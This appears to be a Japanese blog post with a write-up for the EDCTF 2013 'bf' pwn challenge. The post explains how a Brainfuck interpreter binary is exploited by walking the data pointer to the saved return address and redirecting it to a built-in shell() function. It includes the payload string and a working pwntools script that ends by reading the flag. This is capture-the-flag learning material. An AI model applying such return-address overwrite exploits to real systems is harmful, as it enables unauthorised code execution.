newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 4.7】 bf - EDCTF 2013

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

shell-storm.org

 

1: イントロ

 EDCTF 2013 の baby 問題 "bf"

 

2: 静的解析

./bf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=8438f7625e966b84aced94359daa8d3d15cdbb5a, not stripped
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 

 

2: 表層解析

f:id:smallkirby:20190826155100p:plain

 

Aを大量に送っても問題ないが

いい感じのところに+を挟むとsig11 = SIGSEGV

 

f:id:smallkirby:20190826175509p:plain

 

 

 

 

 

というかソースコードを読んだら

完全にBrainfuckだった

 

おまけに気づくのに時間がかかったが

shell() っていうシェルを呼び出してくれる関数まであった

 

よって

ポインタを

$ebpまでインクリメントしていって

アドレスをshellまでデクリメントすれば終了

 

送るべきbrainfuckのコードは

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>----------------------------------------------

 

 

 

3: exploit

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./bf"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

#hard-corded in the binary
progbuf = 0x804a0a0
shell   = 0x8048a6e
ret     = 0x8048a9d
diff    = ret - shell

def exploit(conn):
  ##this is brainfuck?###

  a = 0xcc/4

  #call shell()
  conn.recvuntil(": ")
  conn.sendline(">"*(a)+"-"*(diff-1))

  #get the flag
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *0x804860c
      b *0x80488a7
      b 0x080489cb
      c
    """
    #0x804860c: bf_main
    #0x8048703: 1回目のswitch
    #0x80488a7: 2回目のwhile開始
    #0x80489cb: case 7 printf
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()




4: 結果

f:id:smallkirby:20190826200706p:plain

 

 

5: アウトロ

brainfuckと気づくまではコードをひたすら読んで時間がかかったが

気づいたら一瞬で終わった